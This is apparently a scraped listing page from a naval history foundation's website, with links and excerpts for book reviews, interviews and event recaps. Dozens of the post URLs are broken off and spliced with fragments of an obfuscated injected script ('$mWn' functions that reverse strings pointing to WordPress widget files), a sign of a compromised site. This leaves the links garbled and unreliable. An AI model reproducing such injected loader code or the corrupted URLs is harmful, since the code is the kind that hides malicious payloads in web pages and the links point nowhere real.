- [Captain Robert C. Gillette](https://navyhistory.org/2018/03/captain-robert-c-gillette/) - 14 March 1997 and 18 April 1997 WEED: You graduated from the Naval Academy in 1939. I was curious what was your motivation for attending Annapolis and for choosing a career as a naval officer? GILLETTE: Well, my father spent 35 years in the Navy and retired as a commodore and
- [<em>Remember the <i>Maine</i>!</em>](https://navyhistory.org/2018/03/remember-the-maine/) - For over a hundred years, the main mast of the USS Maine stood sentry at Arlington Cemetery over the remains of 229 Sailors. Over time, the weather took its toll and the memorial deteriorated, so after extensive research and preparation the mast was taken down in 2014 for repair and restoration. The memorial beneath the mast
- [BOOK REVIEW - <em>Defensive Positions: The Politics of Maritime Security in Tokugawa Japan</em>](https://navyhistory.org/2018/01/book-review-defensive-positions-the-politics-of-maritime-security-in-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];}/) - While Defensive Positions is commendable for reminding readers of the importance of coastal defense throughout the Tokugawa Period and for shedding much-needed light on the political dynamics of coastal defense, Wilson’s larger conclusions are less persuasive.
- [BOOK REVIEW - <em>I Will Hold: The Story of USMC Legend Clifton B. Cates, From Belleau Wood to Victory in the Great War</em>](https://navyhistory.org/2018/01/book-review-i-will-hold-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Ultimately, while I Will Hold has some limitations for its use by scholars and researchers, it is a suitable and highly-recommended read for anyone looking to learn more about the Marine Corps in the Great War.
- [BOOK REVIEW - <em>Letters of Seamen in the Wars with France, 1793-1815</em>](https://navyhistory.org/2018/01/book-review-letters-of-seamen-in-the-wars-with-france-1793-1815/) - Letters of Seamen in the Wars with France, 1793-1815 offers readers an invaluable look into life below deck by giving voice to men and women whose stories might otherwise remain untold.
- [BOOK REVIEW - <em>The U.S. Navy: A Concise History</em>](https://navyhistory.org/2018/01/book-review-the-u-s-navy-a-concise-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - Altogether, this is a well-crafted, useful little book. It succeeds brilliantly in distilling a long, complicated history of American naval affairs without sacrificing too much to the demands of brevity.
- [BOOK REVIEW - <em>Where Divers Dare: The Hunt for the Last U-Boat</em>](https://navyhistory.org/2018/01/book-review-where-divers-dare-the-hunt-for-the-last-u-boat/) - Where Divers Dare is an fascinating read for those interested in either World War II’s Battle of the Atlantic or deep-sea diving. The book creates a duality, starting with the events leading to the sinking of U-550 and transitioning to the eventual discovery of the wreck by a team of divers.
- [BOOK REVIEW - <em>US Navy Escort Carriers 1942-45</em>](https://navyhistory.org/2017/12/book-review-us-navy-escort-carriers-1942-45/) - Well researched, packed with information and definitely worth the price; highly recommended for a “quick” look at the “Escort Carriers” of World War II, also provides a decent bibliography for further research.
- [BOOK REVIEW - <em>Fortnight of Infamy: The Collapse of Allied Airpower West of Pearl Harbor</em>](https://navyhistory.org/2017/12/book-review-fortnight-of-infamy-the-collapse-of-allied-airpower-west-of-pearl-harbor/) - Everyone who is interested in this controversy needs to read this book – most of all those who remain dubious about the propositions stated above. Sometimes with WWII, as with all history, the "myths" and "folklore," the explanations of events rooted in the popular mind, are so powerfully entrenched as to be a lasting barrier to understanding.
- [BOOK REVIEW - <em>Instruments of Darkness: The History of Electronic Warfare 1939-1945</em>](https://navyhistory.org/2017/12/book-review-instruments-of-darkness-the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - This book is essential reading for anyone interested in the subject. It has remained just as crucial to modern warfare ever since, as vital today as ever.
- [BOOK REVIEW - <em>The Victory at Sea</em>](https://navyhistory.org/2017/12/book-review-the-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - The Victory at Sea is both an informative and very readable book and the Naval Institute has performed an important service by keeping it in print.
- [BOOK REVIEW - <em>The Leader's Bookshelf</em>](https://navyhistory.org/2017/12/book-review-the-leaders-bookshelf/) - There is a much larger group of books eminently worth considering for other sources, all offering a much more profitable encyclopedic reference on leadership that any age group could take to heart.
- [BOOK REVIEW - <em>Subs, Guns, Honor: Lt. W. H. Jaques of Little Boar's Head, NH</em>](https://navyhistory.org/2017/12/book-review-subs-guns-honor-lt-w-h-jaques-of-little-boars-head-nh/) - This book is an interesting and educational read of a Victorian-era American engineer; however, it suffers from the fact that the author based most of the biographical story on secondary sources.
- [BOOK REVIEW - <em>Vought F-8 Crusader: Development of the Navy's First Supersonic Jet Fighter</em>](https://navyhistory.org/2017/11/book-review-vought-f-8-crusader-development-of-the-navys-first-supersonic-jet-fighter/) - Despite that perhaps unintentional omission, this book is a fine effort and for the price, represents excellent value for the Crusader enthusiast and former aviators and ground crewmen.
- [BOOK REVIEW - <em>The Parent's Guide To The U.S. Navy</em>](https://navyhistory.org/2017/11/book-review-the-parents-guide-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - This book is a timely effort in improving the ability of the home front in supporting the brave men and women of the United States Navy.
- [BOOK REVIEW - <em>The First World Oil War</em>](https://navyhistory.org/2017/11/book-review-the-first-world-oil-war/) - Scholars in the history of the Middle East and the Caucasus region will probably find this account a refreshing alternative that reinforces much of what they already know, but just about everyone else will find it eye-opening. It’s a good book that synthesizes many ideas and explains how sometimes war creates situations that have a logic all their own.
- [BOOK REVIEW - <em>Sea Harrier FRS 1 vs. Mirage III/Dagger, South Atlantic 1982</em>](https://navyhistory.org/2017/10/book-review-sea-harrier-frs-1-vs-mirage-iiidagger-south-atlantic-1982/) - This new addition to the Duel line deals more with the tactics and formations used by both combatants' air forces than I have seen in the series. The diagrams of each country's formations accompanied by the detailed text are quite interesting.
- [BOOK REVIEW - <em>MiG-21 Aces of the Vietnam War</em>](https://navyhistory.org/2017/10/book-review-mig-21-aces-of-the-vietnam-war/) - This new title might very well be the best of the books written by Dr. Toperczer about North Vietnamese MiGs and their pilots. I highly recommend it.
- [BOOK REVIEW - <em>I Was Just a Radioman: The Memoirs of a WW2 Pearl Harbor Survivor</em>](https://navyhistory.org/2017/10/book-review-i-was-just-a-radioman-the-memoirs-of-a-ww2-pearl-harbor-survivor/) - This book is an interesting read, but I suspect that only the hard-core World War II naval aviation aficionado will place this book in his library.
- [BOOK REVIEW - <em>Henry Foxall: Methodist, Industrialist, American</em>](https://navyhistory.org/2017/10/book-review-henry-foxall-methodist-industrialist-american/) - This book is well written and well researched. Indeed, the author seems to have located every conceivable source relating to Foxall. It is highly recommended to those who are interested in the technical and financial aspects of outfitting the early US Navy.
- [BOOK REVIEW - <em>Storm of Eagles: The Greatest Aviation Photographs of World War II</em>](https://navyhistory.org/2017/09/book-review-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Storm of Eagles is a great well-presented gathering of pictures of the aviation side of World War II that readers should enjoy browsing through, and at today's book prices, $35 is not a high amount to spend for such a well-done publication these days.
- [SECNAV Welcome Aboard Reception](https://navyhistory.org/2017/09/secnav-welcome-aboard-reception/) - Photos from the 13 September 2017 Welcome Aboard Reception held at the National Museum of the United States Navy
- [Historical Penicillin: 2017 McMullen Naval History Symposium Recap](https://navyhistory.org/2017/09/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Recap of the 2017 McMullen Naval History Symposium and Knox Awards Dinner in Annapolis, Maryland
- [2017 Knox Naval History Award Winners Announced](https://navyhistory.org/2017/06/2017-knox-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - NHF announced this year's Knox Award Winners: Dr. Jon Sumida, CDR Paul Stillwell, and Dr. Edward Marolda
- [PREVIEW: Red Navy Revealed: NHF/CIA Event](https://navyhistory.org/2017/08/preview-red-navy-revealed-nhfcia-event/) - Preview for the upcoming "Red Navy Revealed" event highlighting newly released documents at the Washington Navy Yard, in coordination with the CIA.
- [Brown Water Navy in Vietnam](https://navyhistory.org/2012/01/brown-water-navy-in-vietnam/) - 2012 marks the beginning of commemorations for the 50th anniversary of the Vietnam War.
- [NHF Earns National Maritime Heritage Grant](https://navyhistory.org/2017/07/nhf-earns-national-maritime-heritage-grant/) - Big news from NHF!
- [BOOK REVIEW - <em>A-6 Intruder Units, 1974-96</em>](https://navyhistory.org/2017/07/book-review-a-6-intruder-units-1974-96/) - A sequel to the author's earlier Combat Aircraft No. 93 covering the Intruder's Vietnam service, this new book describes the A-6's new, often little-known history after Southeast Asia with insider knowledge and style.
- [BOOK REVIEW - <em>A-6 Intruder Units of the Vietnam War</em>](https://navyhistory.org/2017/07/book-review-a-6-intruder-units-of-the-vietnam-war/) - The author sheds new light on the Marine side of the A-6 story, including that of the "electric A-6," the EA-6A that fought the ECM war ahead of the more specialized EA-6B Prowler.
- [BOOK REVIEW - <em>BLACKMAIL</em>](https://navyhistory.org/2017/06/book-review-blackmail/) - I suspect Commander Campbell had fun writing this story; I know I certainly had fun reading it. I highly recommend Blackmail to any who fancy the action/political thriller genre; it will not disappoint.
- [BOOK REVIEW - <em>The Battleship</em> Texas](https://navyhistory.org/2017/06/book-review-the-battleship-texas/) - The Battleship Texas is a fine starting point for anyone wishing to learn more about this unique historic ship and its proud service record.
- [NHF Member Spotlight: Kelly Helm](https://navyhistory.org/2017/06/nhf-member-spotlight-kelly-helm/) - From Navy Family to Naval History, Member Kelly Helm shares her experiences.
- [NHF Membership Spotlight: Meriwether Ball](https://navyhistory.org/2015/07/nhf-membership-spotlight-meriwether-ball/) - Our membership spotlight featuring author and CorpsStories President and CEO Meriwether Ball.
- [The Navy's Daiquiri Heritage Honored at Portrait Dedication](https://navyhistory.org/2017/06/the-navys-daiquiri-heritage-honored-at-portrait-dedication/) - Guest Post by Jay Gaul, IV
- [Bunboat Diplomacy](https://navyhistory.org/2017/06/bunboat-diplomacy/) - "The U.S. Navy was caught with its pants down."
- [NHF Member Spotlight: Heather M. Haley](https://navyhistory.org/2017/06/nhf-member-spotlight-heather-m-haley/) - Ms. Heather M. Haley, a recent student member of the Foundation, took time out of her busy schedule at Auburn University to discuss her current research and the importance of naval history
- [BOOK REVIEW - <em>Admiral Frank H. Schofield: A Portrait in Letters of an American Navy Family (1886-1942)</em>](https://navyhistory.org/2017/06/book-review-admiral-frank-h-schofield-a-portrait-in-letters-of-an-american-navy-family-1886-1942/) - The author of this book has not only crafted an outstanding biographical account of Admiral Schofield but has also produced an excellent social history of the United States between 1886 and 1920 as seen through the eyes of Schofield, his parents, wife, sisters, brothers, and friends.
- [BOOK REVIEW - <em>Implacable Foes, War in The Pacific, 1944-1945</em>](https://navyhistory.org/2017/06/book-review-implacable-foes-war-in-the-pacific-1944-1945/) - Based on the comments I have made on both sections, I believe that the authors have not provided significant new information or a fresh prospective, and therefore, I will not recommend the purchase of Implacable Foes.
- [BOOK REVIEW - <em>The Japanese Navy in World War II: In The Words Of The Former Japanese Naval Officers</em> (Second Edition)](https://navyhistory.org/2017/06/book-review-the-japanese-navy-in-world-war-ii-in-the-words-of-the-former-japanese-naval-officers-second-edition/) - I highly recommend reading (or rereading as in my case) the second edition it was hard to put down but, way too long and detailed to do in a sitting and still comprehend. David C. Evans (1940-1999), has other comprehensive publications on the Imperial Japanese Navy all deserving a look.
- [BOOK REVIEW - <em>Fw 200 Condor Units of World War 2</em>](https://navyhistory.org/2017/06/book-review-fw-200-con<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - Chris Davey’s usually accurate and interesting color profiles as well as Mark Postlethwaite’s impressive cover painting showing, of all things, a Condor and an RAF Whitley bomber dueling in a big-plane version of a dogfight, combine with the text to make a great addition to this highly successful line of aerial histories.
- [2017 NHF Annual Meeting](https://navyhistory.org/2017/05/2017-nhf-annual-meeting/) - Character & Courage at the Battle of Midway
- [BOOK REVIEW - <em>US Navy F-4 Phantom II Units of the Vietnam War 1964-68</em>](https://navyhistory.org/2017/05/book-review-us-navy-f-4-phan<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - Davies combines newly found photos, first-person experiences, and striking cover artwork and pages of fantastic color aircraft profiles.
- [<em>Never Call Me a Hero</em>: An Interview with Author Laura Orr](https://navyhistory.org/2017/05/never-call-me-a-hero-an-interview-with-author-laura-orr/) - NHF Digital Content Developer Matthew Eng sat down with Laura Orr to talk about the subject matter of their newly released book, Never Call Me a Hero
- [BOOK REVIEW - <em>Route 9 Problem: The Battle for Lang Vei</em>](https://navyhistory.org/2017/05/book-review-route-9-problem-the-battle-for-lang-vei/) - Dave Stockwell tells a great story, details of which may not have been available or even considered by many people interested in the Vietnam War, or even many Vietnam veterans.
- [BOOK REVIEW - <em>NAS South Weymouth: The Defender of Freedom</em>](https://navyhistory.org/2017/05/book-review-nas-south-weymouth-the-defender-of-free<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php/) - This new book tells South Weymouth's story in full. The author has given himself a very broad canvas on which to paint his equally large wide-ranging account. He tells his story well. After all, he was there and knows his subject well.
- [BOOK REVIEW - <em>Fort Enterprize</em>](https://navyhistory.org/2017/05/book-review-fort-enterprize/) - The format of the story is interesting and imaginative and, while this effort makes for an often-exciting tale of heroism and courage, mistaking it for any kind of history will lead to disappointment for an informed reader.
- [BOOK REVIEW - <em>Tin Can Titans</em>](https://navyhistory.org/2017/05/book-review-tin-can-titans/) - It is interesting to follow the twists and turns of the war as the destroyers of DesRon 21 shift their focus from ship-to-ship action to defense against air attack. The book is a very nice companion to Theodore Roscoe’s United States Destroyer Operations in World War II.
- [BOOK REVIEW - <em>Killing Sharks: De Profundis</em>](https://navyhistory.org/2017/05/book-review-killing-sharks-de-profundis/) - Killing Sharks is a well-paced and satisfying adventure and thriller. Part detective story, part mystery, part history, the novel is a deft combination of genres laced tightly into a remarkable yet credible story line.
- [BOOK REVIEW - Fighters Over the Fleet: Naval Air Defence from Biplanes to the Cold War](https://navyhistory.org/2017/04/book-review-fighters-over-the-fleet-naval-air-defence-from-biplanes-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};/) - Fighters Over the Fleet provides more information about fleet air defense than any other work currently available. It is recommended for specialist as well aviation-minded readers.
- [When Air Intercepts Turned Deadly](https://navyhistory.org/2017/04/when-air-intercepts-turned-deadly/) - When U.S. aircraft flew near Soviet airspace during the beginning of the Cold War in the late 1940s and throughout the 1950s, however, the consequences were sometimes deadly.
- [NHHC Photo Archivists Create Interactive Digital Exhibits](https://navyhistory.org/2017/04/nhhc-pho<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Photo archivists at the Naval History and Heritage Command recently posted three new digital exhibits highlighting a variety of interesting and insightful subjects on the history and organization of the United States Navy
- [Operation Praying Mantis: An Enterprise Combat Mission](https://navyhistory.org/2017/04/operation-praying-mantis-an-enterprise-combat-mission/) - By Rear Adm. Bud Langston, NHF President
- [BOOK REVIEW - <em>Fabled Fifteen: The Pacific War Saga of Carrier Air Group 15</em>](https://navyhistory.org/2017/04/book-review-fabled-fifteen-the-pacific-war-saga-of-carrier-air-group-15/) - This book is a good choice for those looking to experience Pacific aerial combat through the eyes of the men that took part. Its vivid descriptions and personal anecdotes help place the reader in the cockpit.
- [BOOK REVIEW - The First Fight: U.S. Marines in Operation Starlite, August 1965](https://navyhistory.org/2017/04/book-review-the-first-fight-u-s-marines-in-operation-starlite-august-1965/) - Operation Starlite’s impact on American involvement in Vietnam is apparent in the conduct of the war following the battle. Westmoreland’s idea of force-on-force combat as the key to victory largely supplanted the ideas of counterinsurgency.
- [BOOK REVIEW - <em>The U.S. Naval Institute on Marine Corps Aviation</em>](https://navyhistory.org/2017/04/book-review-the-u-s-naval-institute-on-marine-corps-aviation/) - In short, if this first volume of the "Naval Institute Chronicles" is any indication, the series should be of exceptional value and interest to every reasonably sophisticated student of military history.
- [A Navy Battle Decided by a Game of Cards](https://navyhistory.org/2017/04/a-navy-battle-decided-by-a-game-of-cards/) - By Dr. David Winkler
- [Pennies for <em>Old Ironsides</em>](https://navyhistory.org/2012/08/pennies-for-old-ironsides/) - USS Constitution curator Margherita M. Desy sent Naval Historical Foundation a copy of Report of the National Save Old Ironsides Committee dated March 25, 1930
- [2017 National Maritime Awards Dinner](https://navyhistory.org/2017/03/2017-national-maritime-awards-dinner/) - Dr. Jack P. London will receive the Naval Historical Foundation’s 2017 Distinguished Service Award
- [BOOK REVIEW - <em>Gumption: My Life - My Words</em>](https://navyhistory.org/2017/03/book-review-gumption-my-life-my-words/) - Reviewed by Cdr. Eric Dietrich-Berryman, USN (Ret.)
- [BOOK REVIEW - <em>Britain's War: Into Battle, 1937-1941</em>](https://navyhistory.org/2017/03/book-review-britains-war-in<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - It is extremely well-researched, indicates a mastery of resources for the period, contains quotable narratives from original sources, and holds the reader’s attention. I await eagerly the publication of the second part.
- [BOOK REVIEW - <em>“Execute Against Japan:" The U.S. Decision to Conduct Unrestricted Submarine Warfare</em>](https://navyhistory.org/2017/03/book-review-execute-against-japan-the-u-s-decision-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php/) - Execute Against Japan will be a welcome addition to the library of anyone studying the evolution of U.S. foreign policy and the intersection of ideas and decision-makers.
- [BOOK REVIEW - <em>Eleven Months to Freedom: A German POW’s Unlikely Escape from Siberia in 1915</em>](https://navyhistory.org/2017/03/book-review-eleven-months-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - For readers interested in an individual account of life as a prisoner of war and evader, Messimer has written an exciting book.
- [BOOK REVIEW - <em>Force 12 in German Bight</em>](https://navyhistory.org/2017/03/book-review-force-12-in-german-bight/) - The book is a good read for a day in front of the fireplace or in a lawn chair in the backyard. I think readers of Clive Cussler books will enjoy this tale of modern sea-going adventure.
- [BOOK REVIEW - <em>Declared Hostile</em>](https://navyhistory.org/2017/03/book-review-declared-hostile/) - The author raises some political, military, and humanitarian issues within the book for which no correct answer is provided, perhaps because there is no correct answer. Because there appears to be no correct answer for some of these issues raised, I believe the book is worthy of being the subject of a college seminar on actions and consequences.
- [CHOW: Salisbury Steak](https://navyhistory.org/2017/02/chow-salisbury-steak/) - The patriot, low-carb, meat disc soaked in gravy has an unusual path to your Navy CHOW.
- [Russian Spy Ship Off Delaware Brings Back Cold War Memories](https://navyhistory.org/2017/02/russian-spy-ship-off-delaware-brings-back-cold-war-memories/) - “There have been times when Russian electronic intelligence ships have moved in the way seemingly to embarrass us; either we change course or [we would] ram them.”
- [The George Stewart I Knew](https://navyhistory.org/2017/02/the-george-stewart-i-knew/) - By Captain Todd Creekman, USN (Ret.)
- [BOOK REVIEW - <em>Nazi Saboteurs on the Bayou</em>](https://navyhistory.org/2017/02/book-review-nazi-saboteurs-on-the-bayou/) - By Steven Burgauer, Battleground Press, Oxford, FL, (2016) Reviewed by John Bud Cunnally, Chief Electronics Technician Submarines, U.S. Navy (Retired)
- [BOOK REVIEW - <em>The Fleet at Flood Tide: America at Total War in the Pacific, 1944-1945</em>](https://navyhistory.org/2017/01/book-review-the-fleet-at-flood-tide-america-at-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tso/) - Reviewed by Reviewed by Rear Admiral W. J. Holland, Jr. USN (Retired)
- [Save the Date: 2017 National Maritime Awards Dinner](https://navyhistory.org/2017/01/save-the-date-2017-national-maritime-awards-dinner/) - Tuesday, April 4, 2017 at 6 p.m. Mayflower Hotel, Washington, DC
- [Nuclear Engineering Pioneer David T. Leighton: A proponent of Naval History who made History](https://navyhistory.org/2017/01/nuclear-engineering-pioneer-david-t-leigh<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap/) - Nuclear Engineering pioneer David T. Leighton has died in Savannah, GA.
- [Commercial Use of Marine Gas Turbines](https://navyhistory.org/2016/12/commercial-use-of-marine-gas-turbines/) - By Captain George W. Stewart, USN (Ret.)
- [BOOK REVIEW - <em>A History of the Royal Navy: The Seven Years War</em>](https://navyhistory.org/2016/12/book-review-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Martin Robson, a lecturer in Strategic Studies at the University of Exeter, has written a fine book that summarizes the Royal Navy’s role in the Seven Years War with balanced treatment of the British government's strategic framework for the conduct of the war and the tactical aspects of naval engagements.
- [BOOK REVIEW - Steering to Freedom: From Slave to Civil War Hero](https://navyhistory.org/2016/12/book-review-steering-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Steering to Freedom tells Smalls’ story from the escape of the Planter to the end of the Civil War, in the form of a clear and straightforward novel. Based on the experience of a participant in the siege of Charleston, it should be of great interest to students of the Civil War and nineteenth-century naval warfare. However, there are problems in these areas.
- [BOOK REVIEW - <em>Seventeen Fathoms Deep: The Saga of the</em> S-4 <em>Disaster</em>](https://navyhistory.org/2016/12/book-review-seventeen-fathoms-deep-the-saga-of-the-s-4-disaster/) - Mr. Williams has written a very tight and emotional account of the rescue and salvage attempts on the S-4. I found this book difficult to put down once I started to read it. He also wrote of the controversy surrounding the weather delays that made it impossible for any of the crewmen in the torpedo room to survive. For those of you who are unfamiliar with submarine safety/rescue/salvage, this book is an excellent way to learn about the "silent service" and some of its hazards in those early days. I highly recommend Seventeen Fathoms Deep to anyone interested in Navy history not necessarily connected to war or battles.
- [BOOK REVIEW - <em>Brewers Luck: Hornblower’s Legacy</em>](https://navyhistory.org/2016/12/book-review-brewers-luck-hornblowers-legacy/) - This is the second book in the "Hornblower Legacy" by James Keffer. He does a great job keeping my interest in the characters and the basic story of how they ran ships of the Royal Navy back in the early 19th century. If you're interested in a good read that has some famous names entwined in the story, "Brewers Luck" may just be what you are looking for.
- [BOOK REVIEW - Battleships: WWII Evolution of the Big Guns](https://navyhistory.org/2016/12/book-review-battleships-wwii-evolution-of-the-big-guns/) - The novice reader would do well to start with a more far-ranging and comprehensive general primer about battleships. This volume is better directed at more established battleship buffs and devotees. Read, in combination with Kaplan’s two other “Images of War” books about capital ships, this volume provides new information, insights, and images that even some well- read “experts” might find enlightening.
- [BOOK REVIEW - <em>Sea Stories: A Memoir of a Naval Officer (1956-1967)</em>](https://navyhistory.org/2016/12/book-review-sea-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Slaughter provides us with 60 short stories which chronologically tell of his progression from civilian to the naval officer and from bachelorhood to marriage. The stories revolve around Navy social life, Navy home life, attending Navy schools, and life on board Navy ships.
- [BOOK REVIEW - <em>The War of Numbers 1914-1916: The Kaiser's Navy Gone Rogue</em>](https://navyhistory.org/2016/12/book-review-the-war-of-numbers-1914-1916-the-kaisers-navy-gone-rogue/) - Hans Joachim Koerver has few rivals in the knowledge of Royal Navy primary source materials, heretofore deeply classified material or the treasures to be found in London's suburb of Kew, in Richmond at the National Archives. War of Numbers needs to be in the library of anyone interested in the Great War, submarine history, Germany's political machinations of the time, and the RN's supremely effective intelligence arm.
- [BOOK REVIEW - <em>Another Great Day at Sea: Life Aboard The USS</em> George H.W. Bush](https://navyhistory.org/2016/12/book-review-another-great-day-at-sea-life-aboard-the-uss-george-h-w-bush/) - There is likely to be lots of interest among readers in life on an aircraft carrier, an interest that probably inspired this book's writing in the first place. This book is for a particular audience, sophisticated urban audiences unfamiliar with the military, unlikely to volunteer for service in the armed forces, and in search of levity about the military. For such audiences, the sparkling wit and peccadillos of the author are likely to be seen as endearing and humorous, and indeed as signs of insight and wisdom.
- [More than Luck: Submarine <em>Nautilus</em> Plays Critical Role at 74th Midway Celebration Dinner](https://navyhistory.org/2016/06/more-than-luck-submarine-nautilus-plays-critical-role-at-74th-midway-celebration-dinner/) - A recap of the 74th Battle of Midway Celebration Dinner held at the Army Navy Country Club, 3 June 2016.
- [NHF Donates Rare Globe in Special Ceremony at Australian Embassy](https://navyhistory.org/2016/11/nhf-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/ro/) - NHF facilitated the donation of a rare 19th-century globe to the Australian Embassy in Washington, D.C., on 17 November.
- [Inscribed Books – A Most Awesome Present!](https://navyhistory.org/2016/11/inscribed-books-a-most-awesome-present/) - The Naval Historical Foundation is providing the opportunity for employees at the Washington Navy Yard and visitors to meet and converse with some of naval history’s top authors and editors at its two-day used book sale scheduled for Tuesday, November 15 and Wednesday, November 16 inside the Navy Museum.
- [NHF Historian Attends Brussels Workshop](https://navyhistory.org/2016/09/nhf-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Naval Historical Foundation historian Dr. David Winkler recently traveled to Brussels, Belgium, to participate in a workshop to discuss the “Avoidance of Hazardous Military Incidents.”
- [NHF Facilitates Donations Ahead of This Year’s POW/MIA Day Remembrance](https://navyhistory.org/2016/09/nhf-facilitates-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Today marks America’s observance of the National POW/MIA Recognition Day. It is a day to remember those service members who were either prisoners of war (POW) or are still missing in action (MIA).
- [My Experiences with the First Group of Female Officers Assigned to Shipboard Duty](https://navyhistory.org/2016/09/my-experiences-with-the-first-group-of-female-officers-assigned-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn/) - By George W. Stewart, USN (Ret.)
- [BOOK REVIEW - <em>Ice Station Nautilus</em>](https://navyhistory.org/2016/09/book-review-ice-station-nautilus/) - Reviewed by William H. White
- [BOOK REVIEW - <em>World War II As Seen Through the Eyes of United States Navy Cruisers</em>](https://navyhistory.org/2016/09/book-review-world-war-ii-as-seen-through-the-eyes-of-united-states-navy-cruisers/) - Reviewed by Captain Howard R. Portnoy, U.S. Navy (Retired)
- [BOOK REVIEW - <em>In Pursuit of the</em> Essex; <em>Mad For Glory</em>](https://navyhistory.org/2016/09/book-review-in-pursuit-of-the-essex-mad-for-glory/) - Reviewed by John Grady
- [BOOK REVIEW - <em>The Battle of the Atlantic: How the Allies Won the War</em>](https://navyhistory.org/2016/09/book-review-the-battle-of-the-atlantic-how-the-allies-won-the-war/) - Reviewed by Captain J. F. “Bookie” Boland, U.S. Navy (Ret.)
- [BOOK REVIEW - <em>Apache Over Libya</em>](https://navyhistory.org/2016/09/book-review-apache-over-libya/) - Reviewed by Adam Kline
- [Who Was John Gwinn?](https://navyhistory.org/2016/09/who-was-john-gwinn/) - 167 years ago this Labor Day weekend, U.S. Navy Captain John Gwinn died and was buried--for the first time! Who was he? Stay tuned.
- [PACOM Visits Cold War Gallery for MPA Aircraft Dedication](https://navyhistory.org/2016/09/pacom-visits-cold-war-gallery-for-mpa-aircraft-dedication/) - Admiral Harry B. Harris, Jr., USN, joined Naval Historical Foundation Chairman Admiral William J. Fallon, USN (Ret.), and a small group of distinguished guests this past Tuesday for a dedication of a Maritime Patrol Aircraft (MPA) display case at the National Museum of the United States Navy.
- [Knox-Class Frigates in the 1970s (Part II)](https://navyhistory.org/2016/08/knox-class-frigates-in-the-1970s-part-ii/) - By Captain George Stewart, USN (Ret.)
- [The Museum That Becky Built: A Personal Tribute to HRNM’s Becky Poulliot](https://navyhistory.org/2016/08/the-museum-that-becky-built-a-personal-tribute-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tso/) - A tribute to HRNM Director Mrs. Elizabeth A. Poulliot
